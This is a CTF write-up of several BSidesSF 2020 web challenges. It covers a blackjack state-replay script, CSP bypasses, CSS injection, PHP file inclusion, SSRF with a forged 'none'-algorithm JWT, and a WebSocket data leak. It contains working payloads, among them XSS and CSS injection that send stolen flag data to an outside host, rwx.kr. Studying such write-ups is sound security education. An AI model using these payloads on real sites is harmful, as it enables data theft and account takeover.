BSidesSF 2020 CTF

   

[376pts] cards

San Francisco has the occasional underground card room. Can you run the table in this game?

https://cards-d38741c8.challenges.bsidessf.net

image-20200225211525791

In the challenge site, you can play Blackjack.

1
2
// https://cards-d38741c8.challenges.bsidessf.net/api/config
{"Goal":100000,"MinBet":10,"MaxBet":500,"GameHandler":"/game.go","DeckHandler":"/deck.go"}

Users are given $1000 initial balance. and from /api/config, you can get the flag when achieve $100000.

1
2
// https://cards-d38741c8.challenges.bsidessf.net/api
{"SecretState":"2fd8d83c ... 54e39799","PlayerHand":[],"DealerHand":[],"Balance":1000,"GameState":"Idle","SessionState":"Playing","Bet":0}

In /api, the SecretState property has a hex byte in the form of json, which contains the value of the user’s balance with encryption.

1
2
// https://cards-d38741c8.challenges.bsidessf.net/api/deal
{"SecretState":"e2ad07a3 ... d62c519d","PlayerHand":[["7","Clubs"],["Queen","Clubs"]],"DealerHand":[["X","X"],["6","Spades"]],"Balance":990,"GameState":"Playing","SessionState":"Playing","Bet":10}

If you send a request to /api/deal with the initial SecretState value, the cards of the player and dealer have randomly chosen. Sometimes the player’s card make BlackJack, and in that case, the game is over and the Balance goes up instantly.

1
2
3
4
// Win or Lose?
{"SecretState":"d113e3fb ... b86484c1","PlayerHand":[["7","Clubs"],["Queen","Clubs"]],"DealerHand":[["X","X"],["6","Spades"]],"Balance":500,"GameState":"Playing","SessionState":"Playing","Bet":500}
// Blackjack!
{'SecretState': 'd113e3fb ... b86484c1', 'PlayerHand': [['Jack', 'Spades'], ['Ace', 'Spades']], 'DealerHand': [['3', 'Hearts'], ['6', 'Clubs']], 'Balance': 1750, 'GameState': 'Blackjack', 'SessionState': 'Playing', 'Bet': 500}

The point is that if you lose or lose, the SecretState doesn’t destroy the value, so if you keep making deals until the Black Jack comes out, it’s possible to increase Balance continuously.

1
2
3
4
5
6
7
8
9
10
11
12
import requests

state = requests.post('https://cards-d38741c8.challenges.bsidessf.net/api').json()['SecretState']

while True:
res = requests.post('https://cards-d38741c8.challenges.bsidessf.net/api/deal', json = {'Bet': 500, 'SecretState': state}).json()
if res['GameState'] == 'Blackjack':
print(res)
state = res['SecretState']
if 'Flag' in res:
print(res['Flag'])
break

This script implements the description.

image-20200225214251382

[51pts] csp-1

Can you bypass the CSP to steal the flag?

https://csp-1-5aa1f221.challenges.bsidessf.net

1
Content-Security-Policy: script-src 'self' data:; default-src 'self'; connect-src *; report-uri /csp_report

Basic CSP bypass challenge. There is no filtering policy in script insertion, and Incredibly, the script-src policy authorizes data schema, making CSP meaningless.

1
<script src="data:,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://rwx.kr/?'+escape(x))">

image-20200225214623280

[51pts] csp-2

Can you bypass the CSP to steal the flag?

https://csp-2-2446d5a3.challenges.bsidessf.net

1
Content-Security-Policy: script-src 'self' ajax.googleapis.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report

It’s similar to previous one. script-src allows embeding ajax.googleapis.com . The ajax.googleapis.com contains an Angularjs script, so you can bypass the CSP using the Angularjs Template.

1
2
3
4
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js></script>
<div ng-app ng-csp>
{{constructor.constructor('eval(atob("ZmV0Y2goIi9jc3AtdHdvLWZsYWciKS50aGVuKHg9PngudGV4dCgpKS50aGVuKHg9PmxvY2F0aW9uPSIvL3J3eC5rci8/Iitlc2NhcGUoeCkp"))')()}}
</div>

image-20200225215149637

[87pts] fun with flags

The admin, Sheldon has the challenge flag, can you steal it?

https://fun-with-flags-3b5279f5.challenges.bsidessf.net

1
<input type="hidden" name="flag" value=Try reading this value>

CSS Injection challenge has message sending function to admin.
all of other tags are filtered, but because of <style> tags are allowed, you can use the payload generator below to get the value of the input tag with the name property flag.

1
2
3
4
5
6
7
8
9
<?php

header("Content-Type: text/css; charset=UTF-8");
for ($ascii = 20; $ascii < 128; $ascii++) {
if ($ascii == 92) continue;
echo 'input[name=flag][value^="'.$a.htmlentities(chr($ascii)).'"] {
background-image: url("http://rwx.kr/?FOUND='.$a.urlencode(chr($ascii)).'");
}'."\n";
}
1
CTF{let_the_shellz_rise_b4_baking}

It is convenient to write an attack in Python script. But I sent them one by one because it was hassle.

[51pts] had a bad day

Can you read flag.php?

https://had-a-bad-day-5b3328ad.challenges.bsidessf.net

image-20200225220005141

There’s two buttons. If click on them, forwarded to /index.php?category=woofers and /index.php?category=woofers each. Since woofer.php shows the same of index.php?category=/woofers.php, we can expect scripts like include($_GET['category'] + '.php') to be within index.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// from index.php?category=php://filter/convert.base64-encode/resource=index
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

You can get the source of index.php using php wrapper.
If the index string is included in the parameter, filtering is likely to be bypassed.

1
2
3
4
5
6
7
8
// index.php?category=php://filter/convert.base64-encode/resource=index/../flag
PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIENURntoYXBwaW5lc3NfbmVlZHNfbm9fZmlsdGVyc30KPz4=

// decoded
<!-- Can you read this flag? -->
<?php
// CTF{happiness_needs_no_filters}
?>

[157pts] recipes

I’ve found this recipe storage service. Rumor has it that the famous San Francisco-based Boudin Bakery is working on a new recipe. Can you get that for me?

https://recipes-0abb43f9.challenges.bsidessf.net

The points of this problem are JWT authentication bypass and SSRF.

1
2
3
4
5
6
7
8
9
<li class="nav-item">
<a class="nav-link" href="/recipes">Recipes</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/logout">Logout</a>
</li>
<li class="nav-item d-none">
<a class="nav-link" href="/users">Users</a>
</li>

Not visible on rendered screen, but you can find /users route from html source.

image-20200225221039313

If you try to connect, you’ll be given a hint that you can only connect to the local host.

image-20200225221221820

1
2
3
4
5
<h3>users</h3>
<div id="recipe-body">
<p><b>By posix</b></p>

<img src="data:application/octet-stream;base64,CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI&#43;Cgo8aGVhZD4KCiAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgc2hyaW ... ">

In recipe creation feature, If you submit with a local host address to Picture URL, you can get the contents of the base64 encoded /users page on the entry of the image address.

1
<li><a href='/profile/6180f0c8-778b-442f-a5ab-10e18bef4c2d'>boudin_bakery</a></li>

If you decode the contents, you can find the uuid of the boudin_bakery account.

1
2
3
4
5
6
// jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1ODI2Mzk5NzIsImlhdCI6MTU4MjYzNjM3MiwiaXNzIjoicmVjaXBlYm90IiwibmJmIjoxNTgyNjM2MzcyLCJzdWIiOiIyYzc4ZDJmNy03OGRlLTQwYzEtODFjNi1lYTJlOTc3MDQ2YWUifQ.jgTO8jUAOGFi_vmyGhs90aM0PVWU6f8NG5zSRdb8zhw
// decoded
header : {"alg":"HS256","typ":"JWT"}
content : {"exp":1582639972,"iat":1582636372,"iss":"recipebot","nbf":1582636372,"sub":"2c78d2f7-78de-40c1-81c6-ea2e977046ae"}
signature : <binary data>

The JWT stores in cookies contains user’s uuid value.
You can change the sub value to a uuid of boudin_bakery account’s using jwt none type input.

1
2
3
4
5
6
// plain
header : {"alg":"none","typ":"JWT"}
content : {"exp":1582639972,"iat":1582636372,"iss":"recipebot","nbf":1582636372,"sub":"6180f0c8-778b-442f-a5ab-10e18bef4c2d"}
signature : <binary data>
// built jwt
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJleHAiOjE1ODI2Mzk5NzIsImlhdCI6MTU4MjYzNjM3MiwiaXNzIjoicmVjaXBlYm90IiwibmJmIjoxNTgyNjM2MzcyLCJzdWIiOiI2MTgwZjBjOC03NzhiLTQ0MmYtYTVhYi0xMGUxOGJlZjRjMmQifQ.

If you complete jwt in the above way and try connecting, you can see the flag in the Flag Bread item.

image-20200225222113311

[51pts] simple todos

For my new job as a San Franisco tour guide, I totally realized that I can use the Meteor simple-todos tutorial! It was really easy, the app works perfectly by step 9 of the tutorial, you don’t even need to write your own ‘publish and subscribe’ code! It’s all done for you!

https://simple-todos-6c7bf285.challenges.bsidessf.net

This is the challenge about Information Disclosure using WebSocket. The private message does not appear on the screen, but it sends it to the client without any special permission settings. This allows you to view a private message simply by checking the web socket communications history.

image-20200225222310259

image-20200225222317282